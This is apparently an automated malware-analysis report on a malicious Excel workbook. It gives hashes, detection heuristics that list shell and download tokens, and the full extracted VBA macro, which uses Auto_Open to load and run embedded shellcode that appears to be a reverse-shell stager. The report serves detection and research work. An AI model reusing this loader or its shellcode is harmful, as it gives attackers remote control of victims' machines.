Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5c6b345162216397…

MALICIOUS

Office (OOXML)

17.7 KB Created: 2021-02-19 08:27:31 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-03-01
MD5: 5156de857d59df688d2ac39ded6184ff SHA-1: c790ba7658fa947c155293fa45cef369c04820f4 SHA-256: 5c6b345162216397f165d9ac747496b41ef4716a9498d2841a6677eef1fbb5a4
68 Risk Score

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Private Sub Auto_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3955 bytes
SHA-256: 3a837a0f1f3019865cc0830cf292d9e0ff5ff8428faa99793d1537dc7c4992a2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Modul1"
#If VBA7 Then
    Private Declare PtrSafe Function ToString Lib "Crypt32" Alias "CryptBinaryToStringA" (Source As Any, NumBytes As Long, Flags As Long, Destination As Any, bytesWritten As Any) As Long
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Pqafeipk As Long, ByVal Jvujgl As Long, ByVal Zuafqimo As LongPtr, Bxohw As Long, ByVal Rpkryl As Long, Odtvoa As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Zqcxavs As Long, ByVal Egdoq As Long, ByVal Hxo As Long, ByVal Ieisvj As Long) As LongPtr
    Private Declare PtrSafe Function ResumeThread Lib "kernel32" (ByVal hthread As Long) As LongPtr
    Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
#Else
    ' N
#End If

Sub qqzbvartj()

    Dim treztufdg As Long
    Dim retVal As Long
    Dim adcvxyxg As Long
    Dim vlaaksd As Variant
    Dim sgjdtsfdg As Long
    Dim glkasrtva As Long
    Dim jzsvasefj As Long
        
    vlaaksd = Array(232, 143, 0, 0, 0, 96, 49, 210, 137, 229, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, 49, 255, 139, 114, 40, 15, 183, 74, 38, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 73, 117, 239, 82, 139, 82, 16, 139, 66, 60, 87, 1, 208, 139, 64, 120, 133, 192, 116, 76, 1, 208, 139, 72, 24, 80, 139, 88, 32, 1, 211, 133, 201, 116, 60, 49, 255, _
73, 139, 52, 139, 1, 214, 49, 192, 193, 207, 13, 172, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, 36, 117, 224, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, 233, 128, 255, 255, 255, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, _
104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, 1, 0, 0, 41, 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 10, 0, 2, 15, 104, 2, 0, 17, 103, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, 0, 0, 0, _
106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, _
94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, 255, 255, 255, 1, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)
    
    sgjdtsfdg = VirtualAlloc(0, UBound(vlaaksd), &H1000, &H4)
    
    Dim bytesWritten As Long
    bytesWritten = 1337
   
    
    retVal = VirtualProtect(ByVal sgjdtsfdg, 10, ByVal &H40, ByVal VarPtr(adcvxyxg))
    
    For glkasrtva = LBound(vlaaksd) To UBound(vlaaksd)
        jzsvasefj = vlaaksd(glkasrtva)
        retVal = ToString(ByVal VarPtr(jzsvasefj), ByVal 1, ByVal 2, ByVal sgjdtsfdg + glkasrtva, ByVal VarPtr(bytesWritten))
        
    Next glkasrtva
    treztufdg = CreateThread(0, 0, sgjdtsfdg, &HDEADBEEF, 4, 0)
    ResumeThread ByVal treztufdg
End Sub

Private Sub Auto_Open()
    qqzbvartj
End Sub



Attribute VB_Name = "DieseArbeitsmappe"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 32256 bytes
SHA-256: 551c4dfc60993ff53fdeaad16e96d3b59a80443de0da7ac84b84e3e64c75e126

Open this report in the interactive analyzer, or submit your own file for analysis.